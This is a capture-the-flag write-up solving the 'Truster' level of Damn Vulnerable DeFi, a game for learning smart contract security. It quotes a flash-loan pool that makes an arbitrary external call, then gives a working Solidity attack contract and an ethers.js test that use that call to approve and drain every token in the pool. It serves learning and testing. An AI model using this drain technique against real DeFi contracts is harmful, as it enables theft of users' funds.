Overview#
Damn Vulnerable DeFi is a CTF game for learning Ethereum DeFi smart contract security.
The game covers various DeFi scenarios such as flash loans, price oracles, governance, non-fungible tokens (NFTs), decentralized exchanges (DEXs), lending pools, smart contract wallets, and time locks.
This CTF-like game is very suitable for beginners to learn solidity/ethers.js development.
Challenge description website: https://www.damnvulnerabledefi.xyz/
Challenge source code: https://github.com/tinchoabbate/damn-vulnerable-defi
Truster#
Challenge description:
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
The pool holds 1 million DVT tokens. You have nothing.
To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.
Solution#
Our goal is to take all tokens out of the pool in a single transaction.
Let's take a look at the pool's contract:
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
We can see that after lending out tokens, the above flash loan uses target.functionCall(data)
to call the user's calldata. We can exploit this to perform an arbitrage attack. We can use target.functionCall(data)
to approve our attack contract for the token, and then use the approved result to transfer tokens after the flash loan ends.
Solution#
Attack contract: AttackTruster.sol
import "../truster/TrusterLenderPool.sol";
contract AttackTruster {
TrusterLenderPool _truster;
DamnValuableToken public immutable _token;
constructor(address truster, address tokenAddress) {
_truster = TrusterLenderPool(truster);
_token = DamnValuableToken(tokenAddress);
}
function attack(uint256 amount, address borrower, address target, bytes calldata data) external {
_truster.flashLoan(amount, borrower, target, data);
_token.transferFrom(address(_truster), msg.sender, _token.balanceOf(address(_truster)));
}
}
it('Execution', async function () {
attackContract = await (await ethers.getContractFactory('AttackTruster', player)).deploy(pool.address, token.address);
const abi = ["function approve(address spender, uint256 amount)"];
const iface = new ethers.utils.Interface(abi);
const data = iface.encodeFunctionData("approve", [attackContract.address, TOKENS_IN_POOL]);
await attackContract.attack(0, player.address, token.address, data);
});
Complete solution: https://github.com/fenghaojiang/damn-vulnerable-defi